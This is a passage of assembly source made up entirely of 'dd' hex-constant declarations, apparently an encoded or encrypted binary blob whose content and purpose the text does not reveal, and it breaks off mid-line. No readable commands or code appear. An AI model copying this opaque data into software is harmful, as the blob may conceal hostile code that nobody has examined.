1566BBB7h dd 19E44B32h, 1A662232h, 156617BAh, 15E48732h, 9E664432h dd 0EF44EBB7h, 0AD36ED35h, 0EA9977CDh, 0FC3E831Bh, 1566223Eh dd 0E1EA752Eh, 0EE0D80E6h, 61C25FF6h, 0E656A709h, 90691933h dd 15668874h, 156ECF3Dh, 91692232h, 15661130h, 90EDE952h dd 129C4627h, 0E62DC7h, 0FC661132h, 15668822h, 97A6429Ah dd 19AE342h, 0F522951Dh, 27236E3Eh, 850FE60h, 0FFA7058Eh dd 39A49036h, 3C9B0C0Ch, 9E061EE5h, 905D43C3h, 1D67E206h dd 150E0D3Dh, 1B8F4432h, 8F662232h, 2B2A0E44h, 0F02D8634h dd 95AA1371h, 0CDBA193h, 1561EB13h, 152E0D3Dh, 96694432h dd 1566223Bh, 8399AF52h, 4B30DCCBh, 18E3CF53h, 7561D83Ah dd 0AABD9054h, 0AD93E826h, 223F21FAh, 0AC374353h, 0EA99EECDh dd 753F471Bh, 156AAD61h, 68E42232h, 0B07DA29Eh, 0B4D51AB9h dd 943CE55Bh, 5E7080C5h, 905D7048h, 1D677B0Ah, 150DC13Dh dd 94692232h, 15661123h, 156684DBh, 69557132h, 0A9A0C40Dh dd 33AE3E1Ah, 8CE3034Eh, 1A61BE26h, 15663CB7h, 18F7132h dd 14668832h, 0D864A9FDh, 0C679C1F9h, 0A7D862BAh, 0DD461229h dd 1A33F563h, 1A07D585h, 15661CBAh, 9369E832h, 15664432h dd 29A7A354h, 0AE357025h, 0EA9977CDh, 1A3D9B1Bh, 15662AB9h dd 9F697132h, 15668832h, 29E37F53h, 1A6E23C1h, 156659B7h dd 9E9E7032h, 0EF7A69B7h, 1AE82D35h, 0FC661132h, 15668838h dd 9E18670Bh, 20762EFh, 48F5770h, 0DF668832h, 29AD6C7Ah dd 95A2A03Eh, 760C035Bh, 16DC434Ch, 1567FD63h, 0DA672232h dd 1561F86Bh, 489D8832h, 3069AB8Dh, 51E319B7h, 1A6E10C1h dd 1566DCB7h, 1CEE4B32h, 75662232h, 78308Ah, 7407E83Bh dd 347FF9B1h, 1A6625C8h, 156629B7h, 156E6132h, 4CCA4432h dd 83E06A0Ah, 90ED3DDCh, 129C97ABh, 156649DBh, 0E87CED32h dd 1BD520B4h, 2C7301FCh, 0AE355351h, 0EA99DDCDh, 0FC3DCE1Bh dd 15668837h, 3956CC28h, 55E31937h, 1A6E10C1h, 1566E0B7h dd 156EAD32h, 42532232h, 0F8613ACh, 0A8E5A3FAh, 129C652Bh dd 5BE32D32h, 1A661132h, 156684BDh, 13E04B32h, 1A662232h dd 156611B8h, 0E0E30332h, 7561BE33h, 1564A63Dh, 74061132h dd 0EADCDA53h, 3C99BBCDh, 996978E5h, 1566112Fh, 0EDEDEE52h dd 156657DBh, 0AC09D232h, 9F9AFEA4h, 461F7223h, 0B9A5C95Fh dd 0CD4F1CCBh, 5DE32A53h, 1A6E89C1h, 15667EB7h, 1DE12D32h dd 1A661132h, 15668ABCh, 9E072432h, 0EF4D73B7h, 128FE435h dd 75668832h, 25CCFD69h, 0A833752Ch, 15661133h, 0FC3B6733h dd 15664439h, 9D7A59ABh, 880073A0h, 2E8BBBE6h, 149508B7h dd 37E32D3Ah, 0E0661132h, 37630DB9h, 730643C8h, 7569FB88h dd 749FFDB8h, 0EADED853h, 3C99BBCDh, 9F067AF5h, 0EFED77CCh dd 45E3B353h, 1A6E45C1h, 156613B7h, 9269ED32h, 1566883Eh dd 1560C73Dh, 92692232h, 15661132h, 1EEB0DB9h, 0E09F43C8h dd 0FCE7EDB5h, 0EA99EECDh, 128F47B5h, 82664432h, 0F34A99E8h dd 905D1E57h, 1D677B66h, 1507C13Dh, 1A062232h, 156615B7h dd 39D9EE32h, 0C6D94B66h, 7CE3A953h, 1A61EB1Bh, 15669BB6h dd 18E84B32h, 0FC662232h, 1566113Ah, 67722976h, 62812830h dd 10E19860h, 0D42C2A77h, 0FFE78AD0h, 49947135h, 0B88D0B3h dd 0C24F7EECh, 1E18768h, 0FC664432h, 1566223Dh, 7C30B1B4h dd 1EE996AAh, 81582E5Dh, 2EF8A251h, 149549B7h, 2CE3873Ah dd 0EC664432h, 0AE3A7B9h, 996916C8h, 1566883Dh, 15664EDBh dd 856CB832h, 3C110AA7h, 42BF3785h, 53381B64h, 1A06D5B5h dd 156617B6h, 15E78732h, 1A664432h, 156623B5h, 0ED07E832h dd 0E63A0D09h, 90694C33h, 1566224Bh, 48F7152h, 0A3668832h dd 0D193B882h, 3CAE8A5Fh, 1444E5C0h, 22468776h, 1566C33Dh dd 9E072232h, 78F70C9h, 0B5668832h, 0FE654435h, 0B74D708h dd 0FCFC6BB3h, 0AEA3BF34h, 0F8E3CFB3h, 0FC61D838h, 15661126h dd 0C1212DEDh, 0D2219A4Fh, 0E13238A6h, 0D1A9F3AEh, 0CE269F4Dh dd 119914A5h, 75F17A16h, 1AB9AE3Dh, 15668DBCh, 0DBE72232h dd 0FC0785BBh, 15661137h, 0EDBD124Eh, 75E37F05h, 1A6E23C1h dd 156628B7h, 9E9E7D32h, 0EF6D7DB7h, 1575CB35h, 57561132h dd 64D957ABh, 0E73A3940h, 3587E5Bh, 0CE899AB2h, 0EADFD94Dh dd 3C99BBCDh, 1E8F7BFDh, 0CC661132h, 2E4019AEh, 0D9FC2B89h dd 905D36C7h, 1D67E256h, 15420D3Dh, 98694432h, 1566223Eh dd 1560973Dh, 90698832h, 15664432h, 3D03A7B9h, 740616C8h dd 0EA993163h, 0DA4FBBCDh, 905DD76Bh, 129C095Fh, 15480D3Dh dd 9E934432h, 0EF70BBB7h, 0D2E77135h, 260A31FCh, 156654DBh dd 98291D32h, 8B54D8AFh, 0DDBC3A45h, 81E87F59h, 0A8334301h dd 0EA99EECDh, 0EC3B671Bh, 0E60EC109h, 90692A33h, 15661104h dd 1567023Dh, 9E9A4432h, 0EF4FABB7h, 0AD36E935h, 15668833h dd 1A3E8333h, 15663BB7h, 1572F832h, 5AA28832h, 3E8E2A0Ah dd 0AFE67D40h, 0DADD4A58h, 2D0C1135h, 905DEDF1h, 1D67D196h dd 15EA943Dh, 9B698832h, 15664438h, 156627DBh, 0A587F032h dd 0A8E51543h, 1D67B79Eh, 0EE32D32h, 0FC661132h, 1566883Ah dd 7922D481h, 89EA4E93h, 88FACB1h, 1A668FC8h, 156611B6h dd 90EDDE32h, 129C203Bh, 15669ADBh, 54254B32h, 0FA1DE00Eh dd 0BA671E39h, 5887FCAAh, 0FC39DF45h, 15662223h, 9E36A9EDh dd 0E10BD0ADh, 77F7E485h, 38AB06D1h, 14DF404Ch, 14668832h dd 68F1DFDh, 5F662232h, 48ADD636h, 0B731E1FDh, 5A56A553h dd 2AD18BC6h, 905D1DB9h, 1D677B9Ah, 15E7C13Dh, 96692232h dd 15661139h, 15668EDBh, 84DE1232h, 0EC792B18h, 0E6CAACB1h dd 1A668033h, 156677B7h, 1569CB32h, 33B91132h, 163581Bh dd 81626544h, 0C2722693h, 0FCDB9247h, 1561722Fh, 1527C03Dh dd 188F2232h, 19661132h, 0DF2BBA6Ch, 0D54A994Dh, 28A2679Ah dd 9EB94B9h, 1E8F8FC8h, 0B664432h, 250E54BFh, 0FB5D9AFEh dd 0AB30994Dh, 15664433h, 0FC38D533h, 15661139h, 0DC33CECCh dd 0D4BB5648h, 2E355E15h, 14957DB7h, 28E3873Ah, 1A664432h dd 15662ABFh, 17E61E32h, 75668832h, 70E3CF53h, 0FC61D83Dh dd 1566113Ch, 72BB787Eh, 0B76624E3h, 538D856h, 0AF3479E4h dd 15668833h, 0FC3C9333h, 1566223Ah, 0F5D86EBh, 2786E223h dd 0E616C109h, 90692A33h, 15661157h, 156E073Dh, 9D694432h dd 15662230h, 95067052h dd 9C6924C7h, 15664430h, 9E074352h, 0EF6770B7h, 156C6135h dd 978A4432h, 2DA7B6D6h, 9E283052h, 15669BDBh, 88B73E32h dd 0BE77BF97h, 288ADF09h, 20C6F37Fh, 0A9DEFFE4h, 3DB09F67h dd 0D0E75B1Bh, 0A0B05F1Bh, 1A3BAB1Bh, 15662ABFh, 4BD27132h dd 17783254h, 61E37F53h, 1A6E23C1h, 15662DB7h, 68FE832h dd 7C664432h, 96C1E502h, 695629C3h, 89DCA38h, 7826BDF4h dd 4506219Eh, 9E07706Ch, 0EF6B39B7h, 0AF002435h, 1A063F4Bh dd 9E00D18Dh, 4507E9C8h, 0EA99BB8Ah, 4DA10BCDh, 6DE32ACEh dd 1A6E89C1h, 15667EB7h, 90EDDB32h, 129C1DD7h, 1567093Dh dd 0ED934432h, 0EA999961h, 0CA4FEECDh, 1A067D69h, 15665DBAh dd 1572CB32h, 0A77B1132h, 639DA58Ah, 8148B06Ch, 154E15A1h dd 2EDAB6A8h, 2E07263Bh, 149538B7h, 21E32D3Ah, 1A661132h dd 156684BBh, 13E34B32h, 1A662232h, 156611B0h, 0FCE30332h dd 7561BE16h, 2695A354h, 74BB9B39h, 0EA993361h, 0CA4FBBCDh dd 1563CB69h, 71631132h, 2EA78DE5h, 1495C4B7h, 94E32D3Ah dd 75661132h, 15630F3Dh, 4ED84432h, 9F20DF08h, 916970ECh dd 1566882Bh, 156AAD52h, 0B1C82232h, 1DAA3EBh, 0CE05155Dh dd 9F696971h, 15662232h, 0C0E39A53h, 1A617230h, 156649B6h dd 9D694232h, 15661132h, 3B4E18Ah, 0AB30252Dh, 0EA99DDCDh dd 0FC38E61Bh, 15668821h, 37905D8Fh, 217AC509h, 7DE07340h dd 4DE5E12h, 75046F4Ah, 156DCACEh, 0EF8F1132h, 0FEEED3D3h dd 0E2168CBBh, 0FBE74407h, 743850E7h, 91697739h, 15664419h dd 0F996CBCAh, 1E8FEECDh, 0C9668832h, 4070899Dh, 77F8156Bh dd 58FF708h, 0B0668832h, 46F16589h, 14AE5281h, 0EB356580h dd 2EB5233Bh, 0EF7029B7h, 8E32D35h, 1A661132h, 156682B7h dd 0E7ED2432h, 32DEC8B3h, 98070C34h, 142618B7h, 0B68FB83Ah dd 0E099DDDEh, 4AB9409h, 90698FC8h, 15664497h, 157EAB3Dh dd 9C691132h, 15668820h, 156649DBh, 0D460F932h, 1DA45208h dd 0ED03C18Bh, 96937C23h, 1494EE8Fh, 9069103Ah, 1566884Bh dd 16E64B52h, 1A662232h, 9807EA8Dh, 4C6DEFB7h, 9E692432h dd 15662226h, 15661EDBh, 0D7941F32h, 8609AE93h, 77D2E912h dd 97A5EDAh, 156698DBh, 0DE656432h, 99FABC3Bh, 0F2AD701Eh dd 5135D25Eh, 0FC062533h, 15662237h, 37633FB5h, 1F8FE81Ah dd 4A664432h, 0B158589Fh, 525BFF5Bh, 0DDEDEECEh, 168F2553h dd 1A99DDDEh, 15661DB1h, 13E78732h, 1A664432h, 156622B9h dd 0C9E32A32h, 1A6E89C0h, 15660BB6h, 128F4232h, 98661132h dd 0BDD71200h, 138F632Eh, 0F3662232h, 0D5E63442h, 9406E98Eh dd 0D20A0FFBh, 10E42D6Dh, 0AB661132h, 44BE6BA8h, 0F5E37F53h dd 1A6E23C0h, 156637B7h, 15746132h, 0DD8B4432h, 0C0A37346h dd 823D97D5h, 4F2FCEFh, 54ABB4EEh, 0EA8DB3DBh, 11E11ECDh dd 75668832h, 7D074883h, 15662232h, 1572F86Ch, 2AD68832h dd 8F2596B8h, 5CE0E78Ah, 63620A56h, 8E0E5F63h, 969E823Ch dd 906923CCh, 156611F6h, 15669BDBh, 0AF0FFC32h, 0D5557BBBh dd 752FAB1Bh, 32DC2F3Ah, 0CD1B925Dh, 0E7B6A709h, 90691933h dd 1566880Ah, 0D1E3C9CBh, 1A667AB5h, 156616BBh, 14E38732h dd 0E0664432h, 0EA8D03DBh, 1B8E71CDh, 94668832h, 0B3B94EE1h dd 15959E2Dh, 62D5798Dh, 9369D183h, 15664431h, 74BFA954h dd 0E7B29409h, 90698033h, 15664429h, 2FE3AFCBh, 1A6649BAh dd 156680B1h, 17E14B32h, 75662232h, 0FFBAF853h, 2E9377CDh dd 14949CB7h, 20E32D3Ah, 75661132h, 18AC58B3h, 98076A74h dd 4DEE5DB7h, 1DE61E32h, 75668832h, 0AD001C63h, 0FC07614Ah dd 0EA99FB9Ch, 15680A3Dh, 0FD064432h, 15662237h, 0D78A9403h dd 749FD079h, 3162C562h, 147D1577h, 964215B9h, 504B8CF6h dd 0FC675F05h, 15662222h, 46758F44h, 1DD66A5Dh, 5F024A5h dd 0A0DDEECh, 156F903Dh, 73068832h, 1F369EB3h, 45074352h dd 0F87C688Ah, 3AC8365Ah, 0D357211Bh, 6588A36Ah, 0E2757B07h dd 0DD8009ECh, 5B372900h, 0D81DE4B3h, 1E9FEFE8h, 6E387C4h dd 0E0664432h, 0EA8C03DBh, 156EF8CDh, 0B1CF8832h, 9E1A7B60h dd 0BC0E9939h, 9C66114Ch, 21E7AC36h, 8D67D116h, 0E3E77C1Fh dd 38FE10A7h, 3CD301C7h, 0FC61BE16h, 1566223Ch, 429F9693h dd 72CBF280h, 0DE58CF13h, 0FC06B9C8h, 15661135h, 835268AEh dd 0FDAF5C8Eh, 15662222h, 0E8406AE9h, 0AC041F08h, 7F647CF1h dd 4F592241h, 0A0EF706Dh, 129CADDFh, 0FC58C4C7h, 1463A73Dh dd 9E691132h, 1566882Bh, 1575C73Dh, 1B8F2232h, 82661132h dd 0D796C389h, 27946315h, 1B39E2EBh, 1410EEF0h, 12DD3062h dd 514F7310h, 4A3E2616h, 12DDD6B3h, 0AA06BF10h, 647E8CC0h dd 1566A93Dh, 0E0071132h, 29C53260h, 0CF910AEFh, 0E7E7F8C5h dd 594D620Ah, 143C5F1Bh, 8EA1C5C5h, 7564D47Dh, 1564903Dh dd 0AED18832h, 741FB6B2h, 317AA964h, 1A62D5B1h, 156681B6h dd 61D82432h, 9E7E83D1h, 1D8F70C9h, 93668832h, 42BFC7BDh dd 452BC5A0h, 1526118Ah, 0DE8D0932h, 14138619h, 0DEA5A3F1h dd 4D13D319h, 156682DBh, 1413BE32h, 8A2619E7h, 2E21A1D5h dd 0EF42A18Fh, 36E44B35h, 0FC662232h, 1566113Dh, 20BD1565h dd 0A5F2312Dh, 91521C38h, 2E0D2F19h, 39E087C9h, 1A664432h dd 156623B3h, 0DE8FE832h, 1A9977DAh, 15665EB1h, 1E32D32h dd 0FC661132h, 1566883Dh, 23B38EB1h, 9F37112Ah, 0DC50F566h dd 9E024B37h, 0EF61AD8Fh, 1DE72D35h, 1A661132h, 15668AB8h dd 0D2072432h, 0EF52E7B7h, 15661135h, 1A067D32h, 156650B8h dd 1C8F4232h, 0AD661132h, 4496188Dh, 0E84562BBh, 0F8729B54h dd 0F8D39853h, 75617217h, 156650DAh, 298ABD32h, 0E8F829EDh dd 167BEED0h, 8ADEA0C4h, 0CC33B49Dh, 7439E453h, 0B8FB05CBh dd 0E06E464Ah, 0A106F1CDh, 0D56D7039h, 15230C3Dh, 0FC064432h dd 1566223Eh, 5FD82A89h, 1B2872C6h, 3418DD31h, 1560AB3Dh dd 90691132h, 15668832h, 1F8F2453h, 71662232h, 29BC1F55h dd 0D108B4BFh, 0A0DDFEDEh, 0FC076FCFh, 15661145h, 15668EDBh dd 6CBAEC32h, 984D076Fh, 0EADD7CAFh, 15756135h, 0A8C84432h dd 0D2E16D6Bh, 0A2BFB266h, 71BEDFDDh, 559B404Ah, 0C699D773h dd 0EA3D923Dh, 1B8F77CDh, 0BA664432h, 431422A2h, 0F1879C79h dd 0BE231DFh, 0A0EDBD71h, 129C07DFh, 9DB89052h, 7402CD78h dd 21A3F1BBh, 989E25C8h, 15DD29AFh, 19E2873Ah, 1A664432h dd 156624B1h, 15E81E32h, 0EA668832h, 9E93BDE1h, 0EF420BB7h dd 90EFE835h, 129CADDFh, 13E64B52h, 94662232h, 0CE2F7AC0h dd 74077D62h, 156657DBh, 0A226C132h, 0C49946AEh, 23831CDAh dd 0ABFF87DAh, 0F5A4092Ah, 1A8E2FB2h, 156782B7h, 14E34B32h dd 0E0662232h, 15B3ACB1h, 1A668FC8h, 1566B2B6h, 9E694232h dd 15661130h, 0AA69D687h, 0A33425F1h, 95B8D441h, 9D354DF4h dd 4EBE00C1h, 58F2468h, 90662232h, 72CD0C0Ch, 2A18E76Dh dd 256712FAh, 0FD1EF39Dh, 15661126h, 52A3D34Eh, 9B99CA86h dd 64644BA2h, 7512986Dh, 2AA410BFh, 75CC256Ch, 0A7B49D3Dh dd 9C37708Bh, 9EAE01C3h, 0D1E7603Eh, 15662236h, 231D3CC7h dd 0ED4F9E2Ch, 231DFA64h, 0E567342Ch, 7EB1E6Ch, 0FC668832h dd 1566443Fh, 5E9F31FEh, 8B25273Ch, 5C12A824h, 11DD1758h dd 3C662232h, 317A9AEAh dd 0FC624CB1h, 15664420h, 0D6FA0185h, 0B845C79Fh, 8F32A804h dd 0E05AA671h, 75CD3A36h, 0A797AE3Dh, 7306E9EBh, 0DC9D96B3h dd 15662ADAh, 642B9232h, 9D475AA2h, 1577AD53h, 2A2232h dd 845F125Ch, 52A4D88Bh, 0DD3E4C9h, 4D5D705Ah, 170FF853h dd 99698832h, 15664435h, 72B5A252h, 98074A62h, 1738F8AFh dd 156FAD3Ah, 19F12232h, 371938BDh, 759BB418h, 0D2E72262h dd 73385CB8h, 74A4488Ch, 1C8F5BCDh, 89664432h, 743AD840h dd 9E25E8E9h, 661B15BFh, 95694C30h, 1566223Ah, 1564913Dh dd 74068832h, 108F97CDh, 47662232h, 7A124A1h, 90694839h dd 1566447Ch, 0E7E74252h, 7D252C6Ah, 0FC07D265h, 15664422h dd 78C8DCACh, 7B81BCC8h, 0F6C6118Fh, 0CB1C0950h, 152CCB53h dd 48F1132h, 0D4668832h, 5E8CA172h, 15213393h, 67FD171h dd 548E5C26h, 156ACF3Dh, 99692232h, 15661134h, 1566083Dh dd 90E54432h, 129C07DFh, 1576F837h, 3AD78832h, 0AA2A8A69h dd 996B4DF6h, 0AA76AC9Dh, 308F514Ah, 0E999BBCCh, 600CBFBFh dd 1F8F1930h, 0AA668832h, 81944D35h, 1971F9F5h, 0FCB5EE3Dh dd 15668826h, 64FD4571h, 8E420324h, 0DB80A638h, 9AA0C303h dd 998872F1h, 9069E239h, 1566110Eh, 156699DBh, 0CC32B132h dd 1A3A4A70h, 8D7097FAh, 267AFC77h, 238FA307h, 0FC662232h dd 1566113Fh, 1E6D3365h, 892F2A09h, 0A1C01013h, 1CE51E6Dh dd 75668832h, 62DC8CB8h, 74200F77h, 1562AF64h, 0E7678832h dd 964270B9h, 0FC9E26F6h, 15661039h, 78FB05CBh, 0EC61BB89h dd 0C6ED4452h, 0C69970CEh, 15200B3Dh, 128F4432h, 0A7662232h dd 7824ED55h, 0AD067594h, 46217BEh, 0A0ED43CEh, 129C34DFh dd 78FDF52h, 0BF664432h, 0C9C936Eh, 0CA9F2EC7h, 0C1212DEDh dd 0D2219A4Fh, 8BDE7BA6h, 74336265h, 154A67DBh, 14E84B32h dd 0ED662232h, 308B9CB9h, 9C9A8FC8h, 0EF43A987h, 0AE35D735h dd 1F210F90h, 5E606BF3h, 1CFF87B3h, 0E6E737D0h, 0C129D902h dd 3C3D511Bh, 3DA7C5C3h, 0FC15C448h, 1566113Ch, 2C6D5912h dd 7A8DF2FBh, 0E1276978h, 922F2A79h, 92B57FEBh, 156FADEBh dd 0E4F22232h, 119E2359h, 4456864Fh, 8E60148Bh, 87A7A347h dd 94223157h, 0E928CFF3h, 0DCE70D5Dh, 0CD47EAh, 0E5DDE0B3h dd 0DB67C391h, 94A86D6Bh, 96961DCh, 0DBEC7144h, 0FCBF0954h dd 0B19525DFh, 749EDA52h, 0EA9ABADBh, 9400E8CDh, 46AFCFDAh dd 1A077CCAh, 15661BBEh, 0C5EDE832h, 1566CE3Dh, 98072232h dd 15DB2CAFh, 0C699713Ah, 1569AC52h, 1B052232h, 0A766C10Ch dd 898C944Fh, 4A95ED2Ah, 4F0742A9h, 156600DBh, 0A4D3B32h dd 0D1E1C2D9h, 0D835FBC5h, 0B88B81C0h, 7D0791E2h, 15666A18h dd 4D421EBBh, 0FD3D4152h, 15668826h, 3539963Ch, 7AA7F715h dd 6D97D272h, 0A360BE39h, 0C1880A28h, 743FFDB9h, 128F9419h dd 98698FC8h, 15664433h, 18E52DCBh, 75661132h, 0DAAD348Bh dd 3281C542h, 746E7674h, 202394BBh, 1E8F8FC8h, 0BB664432h dd 0D670B1B7h, 3F1F92DDh, 90EDCA93h, 129C43DBh, 0F3EF74C7h dd 1562D7B3h, 0FBE58832h, 3152C336h, 315AAB6Eh, 767479CAh dd 11EF8832h, 14E54B16h, 0ED662232h, 0AAA99CBFh, 128F8032h dd 20664432h, 0D80F4782h, 0EA9A5412h, 0BDDCE8E3h, 0FC5CC6D0h dd 1566223Fh, 7FC7535Ah, 0F6DFCA22h, 9FE35BF7h, 108F4332h dd 0F661132h, 9400D66Ah, 0B7BC1B9h, 9F6925C8h, 15661133h dd 0F3EFDECBh, 156282B3h, 0FBE72232h, 15661136h, 4942BCB5h dd 0E94240BBh, 150B365Ah, 315A9832h, 0CED18752h, 74B9CF54h dd 128FA7B9h, 78F16C8h, 25668832h, 9D5832A9h, 0F4D282C6h dd 7D674F3Fh, 0F1189A27h, 0F3EF12B2h, 1562E4B3h, 0FBE51132h dd 31520F36h, 3162CD6Eh, 15662CDBh, 0D1BB7632h, 0D7951E27h dd 5392F26Ah, 98A19E41h, 15A71CBFh, 8EE873Ah, 75664432h dd 18FF4B9h, 63661132h, 0ADCA758h, 2F95CA52h, 69FE059Fh dd 0E6B69660h, 74EC6766h, 916995CDh, 1566222Bh, 156605DBh dd 7707CD32h, 47CE7321h, 5387FD49h, 6EA165B4h, 75E88740h dd 59F12C15h, 11EF2232h, 98694B16h, 15668833h, 1A0624CBh dd 9069E285h, 15661132h, 0F7A00953h, 74464502h, 1562CEB3h dd 11EF1132h, 1F8FD116h, 68664432h, 0AE18F187h, 0A587F0F2h dd 8EBA343h, 1A61BE2Ch, 15662AB6h, 0AD007132h, 23D76528h dd 4DBC753h, 1561D839h, 150A953Dh, 188F8832h, 74664432h dd 4F9ABD7Dh, 25A03371h, 35ADC408h, 34BFC1B9h, 3E9E25C8h dd 0EF6D00B7h, 0D45D7435h, 1522C23Dh, 90692232h, 1566113Ah dd 15640F3Dh, 74064432h, 24ABA7B9h, 169A16C8h, 0EF6D99B7h dd 90EFB135h, 129C348Bh, 1567903Dh, 0FC938832h, 156645C0h dd 156ECA52h, 1D6B1132h, 0CB5C6218h, 0A26933D4h, 0C5E67BFBh dd 6A0E7023h, 9C668816h, 7306603Eh, 74431B88h, 314A9063h dd 5998C71h, 964240B9h, 566326F6h, 0ED76EE36h, 0EA993260h dd 0C567BBCDh, 0F9E7D768h, 15661136h, 0AC4284BBh, 15664BCDh dd 1A3FEA3Bh, 15661DBBh, 13E28732h, 1A664432h, 156622BFh dd 4D344132h, 0FCF4CA68h, 15664420h, 4FAA137Bh, 4C430A01h dd 0E9DAD2D5h, 0ED0D4373h, 90EF1F15h, 129C30EBh, 94E389CEh dd 7561BE19h, 1564AA3Dh, 0CFD31132h, 11905AB3h, 0D20747F9h dd 0EF6D33B7h, 15661135h, 8E68732h, 75664432h, 156632DAh dd 196F2832h, 8A7B82EBh, 833783C8h, 0DD3D0325h, 94004FB0h dd 7412BCFAh, 156FC13Dh, 73062232h, 5C2FF7B3h, 7F07D260h dd 1FE04B72h, 0FC662232h, 15661137h, 790414Bh, 5662CF3h dd 9D692232h, 15661135h, 1567063Dh, 479F4432h, 0D7E7C0BBh dd 15661136h, 156262B3h, 1E14432h, 19EF7E16h, 156AF816h dd 3CA78832h, 64463D5Bh, 838E315Fh, 150CE6FAh, 15669BDBh dd 2D2EFE32h, 1DC891E3h, 0A41CBF07h, 100E99BAh, 3772558Eh dd 1EE3B7CDh, 9E0616C8h, 4BD9EEF4h, 1A8F25E4h, 8B662232h dd 9820F78Dh, 65BEDB1Ch, 7BE78E55h, 80993F05h, 129C054Fh dd 156680DBh, 69F98B32h, 2C1EBD59h, 0FEA1E1Ah, 75668832h dd 1566CB3Dh, 188F2232h, 0FE661132h, 0EF115EABh, 0A285A75Dh dd 0FF15D6FBh, 0D8E39853h, 75617203h, 156656DBh, 5DBC1032h dd 0CDD10D6Ah, 19D6AEF6h, 64597964h, 74290EC0h, 15661BDBh dd 5B0B3232h, 186B928Dh, 9CC66A80h, 0EF70A8B7h, 0DE08735h dd 1A664432h, 156630B5h, 156BF832h, 0E5EB8832h, 6F9BA206h dd 700A6ADCh, 0EA84899Fh, 943FAC06h, 156640F6h, 0A099DE32h dd 129C078Bh, 8D377CAh, 7561BE2Ch, 4707DBCAh, 0D7E7F3BBh dd 15668836h, 1562AEB3h, 1E12232h, 29EF4D16h, 4706E816h dd 91BDC569h, 742783D2h, 0E547CBB3h, 0EA07E7DCh, 0EF61AD87h dd 0A2694235h, 1576F8C5h, 95C88832h, 0B8019D01h, 0B5C00420h dd 8FFA1D84h, 9807FDC9h, 15BF3EB7h, 1EE52D3Ah, 0FC661132h dd 15668834h, 9766C457h, 0C5998402h, 156614DBh, 0C00D6A32h dd 98676B5Fh, 129C2923h, 0ACDB9ACEh, 75617224h, 156643DBh dd 0AB592632h, 37DB7054h, 8D30353h, 0ED61BE2Ch, 759F86C1h dd 1564993Dh, 0D4D08832h, 9E0795B8h, 0EF45DB87h, 0FCCBED35h dd 15668823h, 0EE69618Bh, 0E013149Ah, 0AE383671h, 0AE80C252h dd 0C60E159Ah, 4C3BA11Eh, 0E287C07Bh, 4E9709E3h, 4422BD94h dd 7A420EB3h, 9A635200h dd 53E77474h, 56542BCEh, 0D4937B37h, 946914F2h, 1566883Eh dd 7EDF2252h, 6A88A320h, 746A901Dh, 0CC23E061h, 143D6B7Eh dd 1A0679EAh, 156608B5h, 15726132h, 83874432h, 61EC53D5h dd 0ADF62659h, 89A9C289h, 4CB51AFDh, 749338A7h, 1CF9431h dd 1D8F8FC8h, 43664432h, 744ECC28h, 0FC5EC0DDh, 1566883Eh dd 0C788609Ch, 1ECC00CDh, 0AA04044Ah, 3DF05B9h, 9E6943C8h dd 15662233h, 20BE79C7h, 19EF8832h, 3152C516h, 62F155C4h dd 25E711BDh, 62F1FFC4h, 15664BDBh, 0F0BEC32h, 8775FE21h dd 0C0DDE179h, 88164A8Fh, 0AE35D79Fh, 0EA99EECEh, 16A17B33h dd 2E913D9Ah, 1DE209B3h, 3EE77DDFh, 0DA6CF916h, 1569AD69h dd 8F612232h, 0B6CC1BC6h, 59A972E5h, 2B30FBFCh, 0ECD3ABDAh dd 7561EB11h, 4C3447B9h, 0EA9EC753h, 15A5A73Dh, 58F1132h dd 0AE668832h, 0A70C3F2Dh, 0AD89B01Dh, 27F06372h, 94BC4147h dd 0C8BB990Ch, 0B7E32DEFh, 75661132h, 0FEA50954h, 16E24BCFh dd 95662232h, 1A0756F3h, 156689B0h, 1C0EB132h, 9C66223Eh dd 5EDE3536h, 1047E71Dh, 0CBF69487h, 753E24BBh, 1561F952h dd 556D8832h, 6BB276FDh, 0DAED7804h, 0E4ED7753h, 110ED953h dd 4C664432h, 1A3FEC33h, 15661DBAh, 15616132h, 0DA444432h dd 0F2680836h, 0ECD3988Bh, 1A617211h, 156645BAh, 448FD732h dd 7599EEE0h, 5BBD0954h, 156FADC8h, 93C12232h, 70201F29h dd 74AC749Dh, 1571C33Dh, 78F2232h, 0ED661132h, 1C13FACBh dd 0D317AF22h, 46FCA6F7h, 776709B6h, 16A64941h, 0BCE347CBh dd 0FC61D826h, 1566113Eh, 8941A999h, 265D1A95h, 158AC118h dd 131FACB1h, 1A678FC8h, 156522B6h, 0EC06DB32h, 0BF589053h dd 1ACC2298h, 1566D1B7h, 156BCB32h, 0A2C81132h, 0CB98C698h dd 0F094E430h, 45EF8176h, 1566158Ah, 9EA08932h, 0D1E76036h dd 15662236h, 15661CDBh, 0BDEDE332h, 0B14EFF54h, 0B5C85911h dd 53A1AE9Ch, 0EB0273CEh, 23D91344h, 9462DC36h, 0B54F5FF5h dd 9C890947h, 3C65DBFAh, 1A39DE4Ch, 156600B9h, 156A6132h dd 9F8E4432h, 5E056FA7h, 0CABE69EAh, 0F9E5A956h, 3162CD36h dd 1A397A65h, 15661ABDh, 0CCE7E832h, 70BFCAA4h, 7401E8B2h dd 9D8FA360h, 317203E2h, 0ED6280B1h, 156664DBh, 4236E932h dd 315A036Ah, 156280B3h, 0FD062232h, 1566113Dh, 0F7AC965Fh dd 0A44EDACFh, 5AD4E8FCh, 7310C7D4h, 743C57B9h, 63262C54h dd 3172AB54h, 0C5EEF980h, 198FD254h, 31664432h, 0D78F5CA3h dd 88CC5594h, 7DA81582h, 1566714Fh, 0EC4226BBh, 0FCDB92C7h dd 1461722Fh, 1441C03Dh, 0AC062232h, 1D1535FDh, 1565013Dh dd 0C0E64432h, 18F4393h, 37661132h, 0A64476F8h, 0DABA7203h dd 313268ACh, 87DE905Eh, 44584840h, 520ADF8Bh, 4CAEAB3Fh dd 382EC1C5h, 0E7DE1A51h, 0A8E5BDCAh, 1D67D0DAh, 30E21E32h dd 0E9668832h, 0F8CAD9BFh, 58F2A32h, 0FC661132h, 75AE1127h dd 0E56DE6A3h, 6CF9D030h, 0EA6FC27Ch, 4537E8E1h, 0EC071B6Dh dd 1AF61DB2h, 156629B6h, 19EB8732h, 1A664432h, 156624B3h dd 15EE1E32h, 40668832h, 1566418Fh, 9E892332h, 0D1E5351Eh dd 0DD8F7036h, 1A664433h, 15662EBDh, 13E91E32h, 1A668832h dd 156644B6h, 459EA132h, 1509933Dh, 9B698832h, 1566443Bh dd 0C4ED4452h, 933CAA54h, 85D0DA53h, 1EDB4BAh, 11A2A116h dd 9069BBCBh, 15668834h, 0A269BC52h, 